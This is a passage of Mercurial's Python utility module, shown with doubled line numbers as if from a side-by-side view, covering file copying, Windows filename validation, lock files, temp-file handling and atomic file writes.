1159 gettopic = lambda: hardlink and _('linking') or _('copying')
1160
1160
1161 if os.path.isdir(src):
1161 if os.path.isdir(src):
1162 if hardlink is None:
1162 if hardlink is None:
1163 hardlink = (os.stat(src).st_dev ==
1163 hardlink = (os.stat(src).st_dev ==
1164 os.stat(os.path.dirname(dst)).st_dev)
1164 os.stat(os.path.dirname(dst)).st_dev)
1165 topic = gettopic()
1165 topic = gettopic()
1166 os.mkdir(dst)
1166 os.mkdir(dst)
1167 for name, kind in osutil.listdir(src):
1167 for name, kind in osutil.listdir(src):
1168 srcname = os.path.join(src, name)
1168 srcname = os.path.join(src, name)
1169 dstname = os.path.join(dst, name)
1169 dstname = os.path.join(dst, name)
1170 def nprog(t, pos):
1170 def nprog(t, pos):
1171 if pos is not None:
1171 if pos is not None:
1172 return progress(t, pos + num)
1172 return progress(t, pos + num)
1173 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1173 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1174 num += n
1174 num += n
1175 else:
1175 else:
1176 if hardlink is None:
1176 if hardlink is None:
1177 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1177 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1178 os.stat(os.path.dirname(dst)).st_dev)
1178 os.stat(os.path.dirname(dst)).st_dev)
1179 topic = gettopic()
1179 topic = gettopic()
1180
1180
1181 if hardlink:
1181 if hardlink:
1182 try:
1182 try:
1183 oslink(src, dst)
1183 oslink(src, dst)
1184 except (IOError, OSError):
1184 except (IOError, OSError):
1185 hardlink = False
1185 hardlink = False
1186 shutil.copy(src, dst)
1186 shutil.copy(src, dst)
1187 else:
1187 else:
1188 shutil.copy(src, dst)
1188 shutil.copy(src, dst)
1189 num += 1
1189 num += 1
1190 progress(topic, num)
1190 progress(topic, num)
1191 progress(topic, None)
1191 progress(topic, None)
1192
1192
1193 return hardlink, num
1193 return hardlink, num
1194
1194
1195 _winreservednames = '''con prn aux nul
1195 _winreservednames = '''con prn aux nul
1196 com1 com2 com3 com4 com5 com6 com7 com8 com9
1196 com1 com2 com3 com4 com5 com6 com7 com8 com9
1197 lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9'''.split()
1197 lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9'''.split()
1198 _winreservedchars = ':*?"<>|'
1198 _winreservedchars = ':*?"<>|'
1199 def checkwinfilename(path):
1199 def checkwinfilename(path):
1200 r'''Check that the base-relative path is a valid filename on Windows.
1200 r'''Check that the base-relative path is a valid filename on Windows.
1201 Returns None if the path is ok, or a UI string describing the problem.
1201 Returns None if the path is ok, or a UI string describing the problem.
1202
1202
1203 >>> checkwinfilename("just/a/normal/path")
1203 >>> checkwinfilename("just/a/normal/path")
1204 >>> checkwinfilename("foo/bar/con.xml")
1204 >>> checkwinfilename("foo/bar/con.xml")
1205 "filename contains 'con', which is reserved on Windows"
1205 "filename contains 'con', which is reserved on Windows"
1206 >>> checkwinfilename("foo/con.xml/bar")
1206 >>> checkwinfilename("foo/con.xml/bar")
1207 "filename contains 'con', which is reserved on Windows"
1207 "filename contains 'con', which is reserved on Windows"
1208 >>> checkwinfilename("foo/bar/xml.con")
1208 >>> checkwinfilename("foo/bar/xml.con")
1209 >>> checkwinfilename("foo/bar/AUX/bla.txt")
1209 >>> checkwinfilename("foo/bar/AUX/bla.txt")
1210 "filename contains 'AUX', which is reserved on Windows"
1210 "filename contains 'AUX', which is reserved on Windows"
1211 >>> checkwinfilename("foo/bar/bla:.txt")
1211 >>> checkwinfilename("foo/bar/bla:.txt")
1212 "filename contains ':', which is reserved on Windows"
1212 "filename contains ':', which is reserved on Windows"
1213 >>> checkwinfilename("foo/bar/b\07la.txt")
1213 >>> checkwinfilename("foo/bar/b\07la.txt")
1214 "filename contains '\\x07', which is invalid on Windows"
1214 "filename contains '\\x07', which is invalid on Windows"
1215 >>> checkwinfilename("foo/bar/bla ")
1215 >>> checkwinfilename("foo/bar/bla ")
1216 "filename ends with ' ', which is not allowed on Windows"
1216 "filename ends with ' ', which is not allowed on Windows"
1217 >>> checkwinfilename("../bar")
1217 >>> checkwinfilename("../bar")
1218 >>> checkwinfilename("foo\\")
1218 >>> checkwinfilename("foo\\")
1219 "filename ends with '\\', which is invalid on Windows"
1219 "filename ends with '\\', which is invalid on Windows"
1220 >>> checkwinfilename("foo\\/bar")
1220 >>> checkwinfilename("foo\\/bar")
1221 "directory name ends with '\\', which is invalid on Windows"
1221 "directory name ends with '\\', which is invalid on Windows"
1222 '''
1222 '''
1223 if path.endswith('\\'):
1223 if path.endswith('\\'):
1224 return _("filename ends with '\\', which is invalid on Windows")
1224 return _("filename ends with '\\', which is invalid on Windows")
1225 if '\\/' in path:
1225 if '\\/' in path:
1226 return _("directory name ends with '\\', which is invalid on Windows")
1226 return _("directory name ends with '\\', which is invalid on Windows")
1227 for n in path.replace('\\', '/').split('/'):
1227 for n in path.replace('\\', '/').split('/'):
1228 if not n:
1228 if not n:
1229 continue
1229 continue
1230 for c in _filenamebytestr(n):
1230 for c in _filenamebytestr(n):
1231 if c in _winreservedchars:
1231 if c in _winreservedchars:
1232 return _("filename contains '%s', which is reserved "
1232 return _("filename contains '%s', which is reserved "
1233 "on Windows") % c
1233 "on Windows") % c
1234 if ord(c) <= 31:
1234 if ord(c) <= 31:
1235 return _("filename contains %r, which is invalid "
1235 return _("filename contains %r, which is invalid "
1236 "on Windows") % c
1236 "on Windows") % c
1237 base = n.split('.')[0]
1237 base = n.split('.')[0]
1238 if base and base.lower() in _winreservednames:
1238 if base and base.lower() in _winreservednames:
1239 return _("filename contains '%s', which is reserved "
1239 return _("filename contains '%s', which is reserved "
1240 "on Windows") % base
1240 "on Windows") % base
1241 t = n[-1]
1241 t = n[-1]
1242 if t in '. ' and n not in '..':
1242 if t in '. ' and n not in '..':
1243 return _("filename ends with '%s', which is not allowed "
1243 return _("filename ends with '%s', which is not allowed "
1244 "on Windows") % t
1244 "on Windows") % t
1245
1245
1246 if pycompat.osname == 'nt':
1246 if pycompat.osname == 'nt':
1247 checkosfilename = checkwinfilename
1247 checkosfilename = checkwinfilename
1248 timer = time.clock
1248 timer = time.clock
1249 else:
1249 else:
1250 checkosfilename = platform.checkosfilename
1250 checkosfilename = platform.checkosfilename
1251 timer = time.time
1251 timer = time.time
1252
1252
1253 if safehasattr(time, "perf_counter"):
1253 if safehasattr(time, "perf_counter"):
1254 timer = time.perf_counter
1254 timer = time.perf_counter
1255
1255
1256 def makelock(info, pathname):
1256 def makelock(info, pathname):
1257 try:
1257 try:
1258 return os.symlink(info, pathname)
1258 return os.symlink(info, pathname)
1259 except OSError as why:
1259 except OSError as why:
1260 if why.errno == errno.EEXIST:
1260 if why.errno == errno.EEXIST:
1261 raise
1261 raise
1262 except AttributeError: # no symlink in os
1262 except AttributeError: # no symlink in os
1263 pass
1263 pass
1264
1264
1265 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1265 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1266 os.write(ld, info)
1266 os.write(ld, info)
1267 os.close(ld)
1267 os.close(ld)
1268
1268
1269 def readlock(pathname):
1269 def readlock(pathname):
1270 try:
1270 try:
1271 return os.readlink(pathname)
1271 return os.readlink(pathname)
1272 except OSError as why:
1272 except OSError as why:
1273 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1273 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1274 raise
1274 raise
1275 except AttributeError: # no symlink in os
1275 except AttributeError: # no symlink in os
1276 pass
1276 pass
1277 fp = posixfile(pathname)
1277 fp = posixfile(pathname)
1278 r = fp.read()
1278 r = fp.read()
1279 fp.close()
1279 fp.close()
1280 return r
1280 return r
1281
1281
1282 def fstat(fp):
1282 def fstat(fp):
1283 '''stat file object that may not have fileno method.'''
1283 '''stat file object that may not have fileno method.'''
1284 try:
1284 try:
1285 return os.fstat(fp.fileno())
1285 return os.fstat(fp.fileno())
1286 except AttributeError:
1286 except AttributeError:
1287 return os.stat(fp.name)
1287 return os.stat(fp.name)
1288
1288
1289 # File system features
1289 # File system features
1290
1290
1291 def fscasesensitive(path):
1291 def fscasesensitive(path):
1292 """
1292 """
1293 Return true if the given path is on a case-sensitive filesystem
1293 Return true if the given path is on a case-sensitive filesystem
1294
1294
1295 Requires a path (like /foo/.hg) ending with a foldable final
1295 Requires a path (like /foo/.hg) ending with a foldable final
1296 directory component.
1296 directory component.
1297 """
1297 """
1298 s1 = os.lstat(path)
1298 s1 = os.lstat(path)
1299 d, b = os.path.split(path)
1299 d, b = os.path.split(path)
1300 b2 = b.upper()
1300 b2 = b.upper()
1301 if b == b2:
1301 if b == b2:
1302 b2 = b.lower()
1302 b2 = b.lower()
1303 if b == b2:
1303 if b == b2:
1304 return True # no evidence against case sensitivity
1304 return True # no evidence against case sensitivity
1305 p2 = os.path.join(d, b2)
1305 p2 = os.path.join(d, b2)
1306 try:
1306 try:
1307 s2 = os.lstat(p2)
1307 s2 = os.lstat(p2)
1308 if s2 == s1:
1308 if s2 == s1:
1309 return False
1309 return False
1310 return True
1310 return True
1311 except OSError:
1311 except OSError:
1312 return True
1312 return True
1313
1313
1314 try:
1314 try:
1315 import re2
1315 import re2
1316 _re2 = None
1316 _re2 = None
1317 except ImportError:
1317 except ImportError:
1318 _re2 = False
1318 _re2 = False
1319
1319
1320 class _re(object):
1320 class _re(object):
1321 def _checkre2(self):
1321 def _checkre2(self):
1322 global _re2
1322 global _re2
1323 try:
1323 try:
1324 # check if match works, see issue3964
1324 # check if match works, see issue3964
1325 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1325 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1326 except ImportError:
1326 except ImportError:
1327 _re2 = False
1327 _re2 = False
1328
1328
1329 def compile(self, pat, flags=0):
1329 def compile(self, pat, flags=0):
1330 '''Compile a regular expression, using re2 if possible
1330 '''Compile a regular expression, using re2 if possible
1331
1331
1332 For best performance, use only re2-compatible regexp features. The
1332 For best performance, use only re2-compatible regexp features. The
1333 only flags from the re module that are re2-compatible are
1333 only flags from the re module that are re2-compatible are
1334 IGNORECASE and MULTILINE.'''
1334 IGNORECASE and MULTILINE.'''
1335 if _re2 is None:
1335 if _re2 is None:
1336 self._checkre2()
1336 self._checkre2()
1337 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1337 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1338 if flags & remod.IGNORECASE:
1338 if flags & remod.IGNORECASE:
1339 pat = '(?i)' + pat
1339 pat = '(?i)' + pat
1340 if flags & remod.MULTILINE:
1340 if flags & remod.MULTILINE:
1341 pat = '(?m)' + pat
1341 pat = '(?m)' + pat
1342 try:
1342 try:
1343 return re2.compile(pat)
1343 return re2.compile(pat)
1344 except re2.error:
1344 except re2.error:
1345 pass
1345 pass
1346 return remod.compile(pat, flags)
1346 return remod.compile(pat, flags)
1347
1347
1348 @propertycache
1348 @propertycache
1349 def escape(self):
1349 def escape(self):
1350 '''Return the version of escape corresponding to self.compile.
1350 '''Return the version of escape corresponding to self.compile.
1351
1351
1352 This is imperfect because whether re2 or re is used for a particular
1352 This is imperfect because whether re2 or re is used for a particular
1353 function depends on the flags, etc, but it's the best we can do.
1353 function depends on the flags, etc, but it's the best we can do.
1354 '''
1354 '''
1355 global _re2
1355 global _re2
1356 if _re2 is None:
1356 if _re2 is None:
1357 self._checkre2()
1357 self._checkre2()
1358 if _re2:
1358 if _re2:
1359 return re2.escape
1359 return re2.escape
1360 else:
1360 else:
1361 return remod.escape
1361 return remod.escape
1362
1362
1363 re = _re()
1363 re = _re()
1364
1364
1365 _fspathcache = {}
1365 _fspathcache = {}
1366 def fspath(name, root):
1366 def fspath(name, root):
1367 '''Get name in the case stored in the filesystem
1367 '''Get name in the case stored in the filesystem
1368
1368
1369 The name should be relative to root, and be normcase-ed for efficiency.
1369 The name should be relative to root, and be normcase-ed for efficiency.
1370
1370
1371 Note that this function is unnecessary, and should not be
1371 Note that this function is unnecessary, and should not be
1372 called, for case-sensitive filesystems (simply because it's expensive).
1372 called, for case-sensitive filesystems (simply because it's expensive).
1373
1373
1374 The root should be normcase-ed, too.
1374 The root should be normcase-ed, too.
1375 '''
1375 '''
1376 def _makefspathcacheentry(dir):
1376 def _makefspathcacheentry(dir):
1377 return dict((normcase(n), n) for n in os.listdir(dir))
1377 return dict((normcase(n), n) for n in os.listdir(dir))
1378
1378
1379 seps = pycompat.ossep
1379 seps = pycompat.ossep
1380 if pycompat.osaltsep:
1380 if pycompat.osaltsep:
1381 seps = seps + pycompat.osaltsep
1381 seps = seps + pycompat.osaltsep
1382 # Protect backslashes. This gets silly very quickly.
1382 # Protect backslashes. This gets silly very quickly.
1383 seps.replace('\\','\\\\')
1383 seps.replace('\\','\\\\')
1384 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1384 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1385 dir = os.path.normpath(root)
1385 dir = os.path.normpath(root)
1386 result = []
1386 result = []
1387 for part, sep in pattern.findall(name):
1387 for part, sep in pattern.findall(name):
1388 if sep:
1388 if sep:
1389 result.append(sep)
1389 result.append(sep)
1390 continue
1390 continue
1391
1391
1392 if dir not in _fspathcache:
1392 if dir not in _fspathcache:
1393 _fspathcache[dir] = _makefspathcacheentry(dir)
1393 _fspathcache[dir] = _makefspathcacheentry(dir)
1394 contents = _fspathcache[dir]
1394 contents = _fspathcache[dir]
1395
1395
1396 found = contents.get(part)
1396 found = contents.get(part)
1397 if not found:
1397 if not found:
1398 # retry "once per directory" per "dirstate.walk" which
1398 # retry "once per directory" per "dirstate.walk" which
1399 # may take place for each patches of "hg qpush", for example
1399 # may take place for each patches of "hg qpush", for example
1400 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1400 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1401 found = contents.get(part)
1401 found = contents.get(part)
1402
1402
1403 result.append(found or part)
1403 result.append(found or part)
1404 dir = os.path.join(dir, part)
1404 dir = os.path.join(dir, part)
1405
1405
1406 return ''.join(result)
1406 return ''.join(result)
1407
1407
1408 def getfstype(dirpath):
1408 def getfstype(dirpath):
1409 '''Get the filesystem type name from a directory (best-effort)
1409 '''Get the filesystem type name from a directory (best-effort)
1410
1410
1411 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
1411 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
1412 '''
1412 '''
1413 return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
1413 return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
1414
1414
1415 def checknlink(testfile):
1415 def checknlink(testfile):
1416 '''check whether hardlink count reporting works properly'''
1416 '''check whether hardlink count reporting works properly'''
1417
1417
1418 # testfile may be open, so we need a separate file for checking to
1418 # testfile may be open, so we need a separate file for checking to
1419 # work around issue2543 (or testfile may get lost on Samba shares)
1419 # work around issue2543 (or testfile may get lost on Samba shares)
1420 f1 = testfile + ".hgtmp1"
1420 f1 = testfile + ".hgtmp1"
1421 if os.path.lexists(f1):
1421 if os.path.lexists(f1):
1422 return False
1422 return False
1423 try:
1423 try:
1424 posixfile(f1, 'w').close()
1424 posixfile(f1, 'w').close()
1425 except IOError:
1425 except IOError:
1426 try:
1426 try:
1427 os.unlink(f1)
1427 os.unlink(f1)
1428 except OSError:
1428 except OSError:
1429 pass
1429 pass
1430 return False
1430 return False
1431
1431
1432 f2 = testfile + ".hgtmp2"
1432 f2 = testfile + ".hgtmp2"
1433 fd = None
1433 fd = None
1434 try:
1434 try:
1435 oslink(f1, f2)
1435 oslink(f1, f2)
1436 # nlinks() may behave differently for files on Windows shares if
1436 # nlinks() may behave differently for files on Windows shares if
1437 # the file is open.
1437 # the file is open.
1438 fd = posixfile(f2)
1438 fd = posixfile(f2)
1439 return nlinks(f2) > 1
1439 return nlinks(f2) > 1
1440 except OSError:
1440 except OSError:
1441 return False
1441 return False
1442 finally:
1442 finally:
1443 if fd is not None:
1443 if fd is not None:
1444 fd.close()
1444 fd.close()
1445 for f in (f1, f2):
1445 for f in (f1, f2):
1446 try:
1446 try:
1447 os.unlink(f)
1447 os.unlink(f)
1448 except OSError:
1448 except OSError:
1449 pass
1449 pass
1450
1450
1451 def endswithsep(path):
1451 def endswithsep(path):
1452 '''Check path ends with os.sep or os.altsep.'''
1452 '''Check path ends with os.sep or os.altsep.'''
1453 return (path.endswith(pycompat.ossep)
1453 return (path.endswith(pycompat.ossep)
1454 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1454 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1455
1455
1456 def splitpath(path):
1456 def splitpath(path):
1457 '''Split path by os.sep.
1457 '''Split path by os.sep.
1458 Note that this function does not use os.altsep because this is
1458 Note that this function does not use os.altsep because this is
1459 an alternative of simple "xxx.split(os.sep)".
1459 an alternative of simple "xxx.split(os.sep)".
1460 It is recommended to use os.path.normpath() before using this
1460 It is recommended to use os.path.normpath() before using this
1461 function if need.'''
1461 function if need.'''
1462 return path.split(pycompat.ossep)
1462 return path.split(pycompat.ossep)
1463
1463
1464 def gui():
1464 def gui():
1465 '''Are we running in a GUI?'''
1465 '''Are we running in a GUI?'''
1466 if pycompat.sysplatform == 'darwin':
1466 if pycompat.sysplatform == 'darwin':
1467 if 'SSH_CONNECTION' in encoding.environ:
1467 if 'SSH_CONNECTION' in encoding.environ:
1468 # handle SSH access to a box where the user is logged in
1468 # handle SSH access to a box where the user is logged in
1469 return False
1469 return False
1470 elif getattr(osutil, 'isgui', None):
1470 elif getattr(osutil, 'isgui', None):
1471 # check if a CoreGraphics session is available
1471 # check if a CoreGraphics session is available
1472 return osutil.isgui()
1472 return osutil.isgui()
1473 else:
1473 else:
1474 # pure build; use a safe default
1474 # pure build; use a safe default
1475 return True
1475 return True
1476 else:
1476 else:
1477 return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
1477 return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
1478
1478
1479 def mktempcopy(name, emptyok=False, createmode=None):
1479 def mktempcopy(name, emptyok=False, createmode=None):
1480 """Create a temporary file with the same contents from name
1480 """Create a temporary file with the same contents from name
1481
1481
1482 The permission bits are copied from the original file.
1482 The permission bits are copied from the original file.
1483
1483
1484 If the temporary file is going to be truncated immediately, you
1484 If the temporary file is going to be truncated immediately, you
1485 can use emptyok=True as an optimization.
1485 can use emptyok=True as an optimization.
1486
1486
1487 Returns the name of the temporary file.
1487 Returns the name of the temporary file.
1488 """
1488 """
1489 d, fn = os.path.split(name)
1489 d, fn = os.path.split(name)
1490 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, dir=d)
1490 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, dir=d)
1491 os.close(fd)
1491 os.close(fd)
1492 # Temporary files are created with mode 0600, which is usually not
1492 # Temporary files are created with mode 0600, which is usually not
1493 # what we want. If the original file already exists, just copy
1493 # what we want. If the original file already exists, just copy
1494 # its mode. Otherwise, manually obey umask.
1494 # its mode. Otherwise, manually obey umask.
1495 copymode(name, temp, createmode)
1495 copymode(name, temp, createmode)
1496 if emptyok:
1496 if emptyok:
1497 return temp
1497 return temp
1498 try:
1498 try:
1499 try:
1499 try:
1500 ifp = posixfile(name, "rb")
1500 ifp = posixfile(name, "rb")
1501 except IOError as inst:
1501 except IOError as inst:
1502 if inst.errno == errno.ENOENT:
1502 if inst.errno == errno.ENOENT:
1503 return temp
1503 return temp
1504 if not getattr(inst, 'filename', None):
1504 if not getattr(inst, 'filename', None):
1505 inst.filename = name
1505 inst.filename = name
1506 raise
1506 raise
1507 ofp = posixfile(temp, "wb")
1507 ofp = posixfile(temp, "wb")
1508 for chunk in filechunkiter(ifp):
1508 for chunk in filechunkiter(ifp):
1509 ofp.write(chunk)
1509 ofp.write(chunk)
1510 ifp.close()
1510 ifp.close()
1511 ofp.close()
1511 ofp.close()
1512 except: # re-raises
1512 except: # re-raises
1513 try: os.unlink(temp)
1513 try: os.unlink(temp)
1514 except OSError: pass
1514 except OSError: pass
1515 raise
1515 raise
1516 return temp
1516 return temp
1517
1517
1518 class filestat(object):
1518 class filestat(object):
1519 """help to exactly detect change of a file
1519 """help to exactly detect change of a file
1520
1520
1521 'stat' attribute is result of 'os.stat()' if specified 'path'
1521 'stat' attribute is result of 'os.stat()' if specified 'path'
1522 exists. Otherwise, it is None. This can avoid preparative
1522 exists. Otherwise, it is None. This can avoid preparative
1523 'exists()' examination on client side of this class.
1523 'exists()' examination on client side of this class.
1524 """
1524 """
1525 def __init__(self, path):
1525 def __init__(self, path):
1526 try:
1526 try:
1527 self.stat = os.stat(path)
1527 self.stat = os.stat(path)
1528 except OSError as err:
1528 except OSError as err:
1529 if err.errno != errno.ENOENT:
1529 if err.errno != errno.ENOENT:
1530 raise
1530 raise
1531 self.stat = None
1531 self.stat = None
1532
1532
1533 __hash__ = object.__hash__
1533 __hash__ = object.__hash__
1534
1534
1535 def __eq__(self, old):
1535 def __eq__(self, old):
1536 try:
1536 try:
1537 # if ambiguity between stat of new and old file is
1537 # if ambiguity between stat of new and old file is
1538 # avoided, comparison of size, ctime and mtime is enough
1538 # avoided, comparison of size, ctime and mtime is enough
1539 # to exactly detect change of a file regardless of platform
1539 # to exactly detect change of a file regardless of platform
1540 return (self.stat.st_size == old.stat.st_size and
1540 return (self.stat.st_size == old.stat.st_size and
1541 self.stat.st_ctime == old.stat.st_ctime and
1541 self.stat.st_ctime == old.stat.st_ctime and
1542 self.stat.st_mtime == old.stat.st_mtime)
1542 self.stat.st_mtime == old.stat.st_mtime)
1543 except AttributeError:
1543 except AttributeError:
1544 return False
1544 return False
1545
1545
1546 def isambig(self, old):
1546 def isambig(self, old):
1547 """Examine whether new (= self) stat is ambiguous against old one
1547 """Examine whether new (= self) stat is ambiguous against old one
1548
1548
1549 "S[N]" below means stat of a file at N-th change:
1549 "S[N]" below means stat of a file at N-th change:
1550
1550
1551 - S[n-1].ctime < S[n].ctime: can detect change of a file
1551 - S[n-1].ctime < S[n].ctime: can detect change of a file
1552 - S[n-1].ctime == S[n].ctime
1552 - S[n-1].ctime == S[n].ctime
1553 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1553 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1554 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1554 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1555 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1555 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1556 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1556 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1557
1557
1558 Case (*2) above means that a file was changed twice or more at
1558 Case (*2) above means that a file was changed twice or more at
1559 same time in sec (= S[n-1].ctime), and comparison of timestamp
1559 same time in sec (= S[n-1].ctime), and comparison of timestamp
1560 is ambiguous.
1560 is ambiguous.
1561
1561
1562 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1562 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1563 timestamp is ambiguous".
1563 timestamp is ambiguous".
1564
1564
1565 But advancing mtime only in case (*2) doesn't work as
1565 But advancing mtime only in case (*2) doesn't work as
1566 expected, because naturally advanced S[n].mtime in case (*1)
1566 expected, because naturally advanced S[n].mtime in case (*1)
1567 might be equal to manually advanced S[n-1 or earlier].mtime.
1567 might be equal to manually advanced S[n-1 or earlier].mtime.
1568
1568
1569 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1569 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1570 treated as ambiguous regardless of mtime, to avoid overlooking
1570 treated as ambiguous regardless of mtime, to avoid overlooking
1571 by confliction between such mtime.
1571 by confliction between such mtime.
1572
1572
1573 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1573 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1574 S[n].mtime", even if size of a file isn't changed.
1574 S[n].mtime", even if size of a file isn't changed.
1575 """
1575 """
1576 try:
1576 try:
1577 return (self.stat.st_ctime == old.stat.st_ctime)
1577 return (self.stat.st_ctime == old.stat.st_ctime)
1578 except AttributeError:
1578 except AttributeError:
1579 return False
1579 return False
1580
1580
1581 def avoidambig(self, path, old):
1581 def avoidambig(self, path, old):
1582 """Change file stat of specified path to avoid ambiguity
1582 """Change file stat of specified path to avoid ambiguity
1583
1583
1584 'old' should be previous filestat of 'path'.
1584 'old' should be previous filestat of 'path'.
1585
1585
1586 This skips avoiding ambiguity, if a process doesn't have
1586 This skips avoiding ambiguity, if a process doesn't have
1587 appropriate privileges for 'path'.
1587 appropriate privileges for 'path'.
1588 """
1588 """
1589 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
1589 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
1590 try:
1590 try:
1591 os.utime(path, (advanced, advanced))
1591 os.utime(path, (advanced, advanced))
1592 except OSError as inst:
1592 except OSError as inst:
1593 if inst.errno == errno.EPERM:
1593 if inst.errno == errno.EPERM:
1594 # utime() on the file created by another user causes EPERM,
1594 # utime() on the file created by another user causes EPERM,
1595 # if a process doesn't have appropriate privileges
1595 # if a process doesn't have appropriate privileges
1596 return
1596 return
1597 raise
1597 raise
1598
1598
1599 def __ne__(self, other):
1599 def __ne__(self, other):
1600 return not self == other
1600 return not self == other
1601
1601
1602 class atomictempfile(object):
1602 class atomictempfile(object):
1603 '''writable file object that atomically updates a file
1603 '''writable file object that atomically updates a file
1604
1604
1605 All writes will go to a temporary copy of the original file. Call
1605 All writes will go to a temporary copy of the original file. Call
1606 close() when you are done writing, and atomictempfile will rename
1606 close() when you are done writing, and atomictempfile will rename
1607 the temporary copy to the original name, making the changes
1607 the temporary copy to the original name, making the changes
1608 visible. If the object is destroyed without being closed, all your
1608 visible. If the object is destroyed without being closed, all your
1609 writes are discarded.
1609 writes are discarded.
1610
1610
1611 checkambig argument of constructor is used with filestat, and is
1611 checkambig argument of constructor is used with filestat, and is
1612 useful only if target file is guarded by any lock (e.g. repo.lock
1612 useful only if target file is guarded by any lock (e.g. repo.lock
1613 or repo.wlock).
1613 or repo.wlock).
1614 '''
1614 '''
1615 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
1615 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
1616 self.__name = name # permanent name
1616 self.__name = name # permanent name
1617 self._tempname = mktempcopy(name, emptyok=('w' in mode),
1617 self._tempname = mktempcopy(name, emptyok=('w' in mode),
1618 createmode=createmode)
1618 createmode=createmode)
1619 self._fp = posixfile(self._tempname, mode)
1619 self._fp = posixfile(self._tempname, mode)
1620 self._checkambig = checkambig
1620 self._checkambig = checkambig
1621
1621
1622 # delegated methods
1622 # delegated methods
1623 self.read = self._fp.read
1623 self.read = self._fp.read
1624 self.write = self._fp.write
1624 self.write = self._fp.write
1625 self.seek = self._fp.seek
1625 self.seek = self._fp.seek
1626 self.tell = self._fp.tell
1626 self.tell = self._fp.tell
1627 self.fileno = self._fp.fileno
1627 self.fileno = self._fp.fileno
1628
1628
1629 def close(self):
1629 def close(self):
1630 if not self._fp.closed:
1630 if not self._fp.closed:
1631 self._fp.close()
1631 self._fp.close()
1632 filename = localpath(self.__name)
1632 filename = localpath(self.__name)
1633 oldstat = self._checkambig and filestat(filename)
1633 oldstat = self._checkambig and filestat(filename)
1634 if oldstat and oldstat.stat:
1634 if oldstat and oldstat.stat:
1635 rename(self._tempname, filename)
1635 rename(self._tempname, filename)
1636 newstat = filestat(filename)
1636 newstat = filestat(filename)
1637 if newstat.isambig(oldstat):
1637 if newstat.isambig(oldstat):
1638 # stat of changed file is ambiguous to original one
1638 # stat of changed file is ambiguous to original one
1639 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1639 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1640 os.utime(filename, (advanced, advanced))
1640 os.utime(filename, (advanced, advanced))
1641 else:
1641 else:
1642 rename(self._tempname, filename)
1642 rename(self._tempname, filename)
1643
1643
1644 def discard(self):
1644 def discard(self):
1645 if not self._fp.closed:
1645 if not self._fp.closed:
1646 try:
1646 try:
1647 os.unlink(self._tempname)
1647 os.unlink(self._tempname)
1648 except OSError:
1648 except OSError:
1649 pass
1649 pass
1650 self._fp.close()
1650 self._fp.close()
1651
1651
1652 def __del__(self):
1652 def __del__(self):
1653 if safehasattr(self, '_fp'): # constructor actually did something
1653 if safehasattr(self, '_fp'): # constructor actually did something
1654 self.discard()
1654 self.discard()
1655
1655
1656 def __enter__(self):
1656 def __enter__(self):
1657 return self
1657 return self
1658
1658
1659 def __exit__(self, exctype, excvalue, traceback):
1659 def __exit__(self, exctype, excvalue, traceback):
1660 if exctype is not None:
1660 if exctype is not None:
1661 self.discard()
1661 self.discard()
1662 else:
1662 else:
1663 self.close()
1663 self.close()
1664
1664
1665 def unlinkpath(f, ignoremissing=False):
1665 def unlinkpath(f, ignoremissing=False):
1666 """unlink and remove the directory if it is empty"""
1666 """unlink and remove the directory if it is empty"""
1667 if ignoremissing:
1667 if ignoremissing:
1668 tryunlink(f)
1668 tryunlink(f)
1669 else:
1669 else:
1670 unlink(f)
1670 unlink(f)
1671 # try removing directories that might now be empty
1671 # try removing directories that might now be empty
1672 try:
1672 try:
1673 removedirs(os.path.dirname(f))
1673 removedirs(os.path.dirname(f))
1674 except OSError:
1674 except OSError:
1675 pass
1675 pass
1676
1676
1677 def tryunlink(f):
1677 def tryunlink(f):
